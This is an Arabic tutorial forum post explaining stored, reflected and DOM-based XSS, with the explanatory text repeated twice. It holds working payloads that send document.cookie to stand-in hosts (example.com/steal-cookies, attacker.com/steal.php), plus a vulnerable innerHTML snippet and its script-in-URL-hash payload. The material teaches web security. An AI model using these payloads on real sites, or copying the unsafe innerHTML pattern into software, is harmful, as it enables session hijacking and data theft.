x32x01
أدارة أكتب كود
- بواسطة x32x01 ||
أنواع هجمات XSS مع ذكر مثال عملي على كل نوع
Stored XSS
Reflective XSS
DOM-based XSS
الـ Stored XSS هو نوع من هجمات Cross-Site Scripting (XSS) حيث يتم حقن الشيفرة الخبيثة في التطبيق أو قاعدة البيانات، ويتم عرضها للمستخدم عند استرجاع البيانات من المصدر المخترق،هناك العديد من الأمثلة العملية لهجمات Stored XSS، ولكن سأقوم بتوضيح مثال واحد هنا.
فرض أن لدينا تطبيق ويب يسمح للمستخدمين بإضافة تعليقات على صفحات المستخدمين الأخرى. لنقل أن لدينا صفحة مستخدم تعرض معلومات المستخدم بما في ذلك اسم المستخدم ونص تعليقاته.
للقيام ب Stored XSS، يقوم المهاجم بإدخال شيفرة JavaScript خبيثة في مربع التعليقات. على سبيل المثال، قد يدخل التالي في حقل التعليق:
عندما يتم حفظ التعليق في قاعدة البيانات، يتم تخزين الشيفرة الخبيثة في البيانات. عندما يتصفح أحد المستخدمين الصفحة المستهدفة، ستتم طباعة الشيفرة الخبيثة في الصفحة وسيُعرض الرسالة المنبثقة "مرحبًا بكم في موقع الهجمات الأمنية المشابهة!" على المستخدم، بالإضافة إلى ذلك، سيتم توجيه المستخدم إلى صفحة أخرى تحتوي على المعلومات المسروقة مثل ملفات تعريف الارتباط (cookies) في الرابط المُخترق.
هذا مثال بسيط يوضح كيف يمكن للمهاجم استغلال Stored XSS لتشغيل شيفرة خبيثة على جهاز المستخدم المتضرر وسرقة بياناته، مثل معلومات المستخدم أو ملفات تعريف الارتباط.
مثال عملي على Reflective XSS :
تفترض أن هناك صفحة ويب مثلاً تدعى
تقوم بتلقي معلومات من المستخدم وتقوم بعرضها في الصفحة بدون فلترة أو تحقق من البيانات المدخلة.
في هذه الحالة، يمكن لهجوم XSS التنفيذ بطرق مختلفة، واحدة من هذه الطرق هي استغلال ثغرة Reflective XSS.
فلنفترض أن هناك شخصًا يستغل ثغرة الـ XSS لإدخال الكود التالي كجزء من بيانات المدخلات على صفحة
عندما يتم عرض الصفحة
للمستخدمين، ستتم تنفيذ كود الـ XSS المدخل من قبل المهاجم، وسيقوم الكود بسرقة معرّفات الجلسة وإرسالها إلى صفحة أخرى في المهاجم على
المهاجم يمكنه استخدام هذه المعرّفات للتنكّر كمستخدم موثوق به والوصول إلى معلوماته الخاصة أو تنفيذ إجراءات ضارة.
الـ DOM-based XSS هي نوع من هجمات XSS (Cross-Site Scripting) حيث يتم استغلال الثغرات في نموذج الكائنات في المستند (DOM) لتنفيذ سكريبتات خبيثة في العميل (المتصفح) بدلاً من الخادم.
هذا مثال عملي على DOM-based XSS، فلنفترض لدينا صفحة ويب تقوم بعرض إدخال المستخدم داخل عنصر HTML معين، دون معالجة أو فلترة الإدخال بشكل صحيح. سنفترض أن لدينا صفحة HTML بها العنصر التالي:
وقد يتم تحميل قيمة المستخدم داخل هذا العنصر باستخدام جافا سكريبت كما يلي:
في حالة هجمات DOM-based XSS، إذا قام هجاج بإدخال قيمة سكريبت خبيثة بدلاً من الإدخال العادي مثل اسم المستخدم، يمكن للمهاجم تنفيذ السكريبت الخبيث في المتصفح لأي ضحية تقوم بزيارة الصفحة. على سبيل المثال، إذا أدخل المهاجم القيمة التالية في عنوان URL:
فإن السكريبت الخبيث سيتم تنفيذه في جانب العميل للضحية عند تحميل الصفحة، معرضًا الضحية للهجمة.
Stored XSS
Reflective XSS
DOM-based XSS
الـ Stored XSS هو نوع من هجمات Cross-Site Scripting (XSS) حيث يتم حقن الشيفرة الخبيثة في التطبيق أو قاعدة البيانات، ويتم عرضها للمستخدم عند استرجاع البيانات من المصدر المخترق،هناك العديد من الأمثلة العملية لهجمات Stored XSS، ولكن سأقوم بتوضيح مثال واحد هنا.
فرض أن لدينا تطبيق ويب يسمح للمستخدمين بإضافة تعليقات على صفحات المستخدمين الأخرى. لنقل أن لدينا صفحة مستخدم تعرض معلومات المستخدم بما في ذلك اسم المستخدم ونص تعليقاته.
للقيام ب Stored XSS، يقوم المهاجم بإدخال شيفرة JavaScript خبيثة في مربع التعليقات. على سبيل المثال، قد يدخل التالي في حقل التعليق:
Code:
```html
<script>
alert('مرحبًا بكم في موقع الهجمات الأمنية المشابهة!');
window.location.href = 'https://example.com/steal-cookies?cookie=' + document.cookie;
</script>
```
هذا مثال بسيط يوضح كيف يمكن للمهاجم استغلال Stored XSS لتشغيل شيفرة خبيثة على جهاز المستخدم المتضرر وسرقة بياناته، مثل معلومات المستخدم أو ملفات تعريف الارتباط.
مثال عملي على Reflective XSS :
تفترض أن هناك صفحة ويب مثلاً تدعى
Code:
http://example.com/vulnerable.php
في هذه الحالة، يمكن لهجوم XSS التنفيذ بطرق مختلفة، واحدة من هذه الطرق هي استغلال ثغرة Reflective XSS.
فلنفترض أن هناك شخصًا يستغل ثغرة الـ XSS لإدخال الكود التالي كجزء من بيانات المدخلات على صفحة
Code:
http://example.com/vulnerable.php
Code:
<script>
// هنا يتم استدعاء دالة JavaScript لسرقة معرّفات الجلسة
var stolenData = document.cookie;
// هنا يتم إرسال المعلومات المسروقة إلى المهاجم عبر صفحة أخرى
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://attacker.com/steal.php?data=" + stolenData, true);
xhr.send();
</script>
Code:
http://example.com/vulnerable.php
Code:
http://attacker.com/steal.php
الـ DOM-based XSS هي نوع من هجمات XSS (Cross-Site Scripting) حيث يتم استغلال الثغرات في نموذج الكائنات في المستند (DOM) لتنفيذ سكريبتات خبيثة في العميل (المتصفح) بدلاً من الخادم.
هذا مثال عملي على DOM-based XSS، فلنفترض لدينا صفحة ويب تقوم بعرض إدخال المستخدم داخل عنصر HTML معين، دون معالجة أو فلترة الإدخال بشكل صحيح. سنفترض أن لدينا صفحة HTML بها العنصر التالي:
Code:
```html
<div id="username"></div>
```
Code:
```javascript
var username = window.location.hash.substring(1);
document.getElementById('username').innerHTML = username;
```
Code:
```
#<script>alert('XSS Attack')</script>
```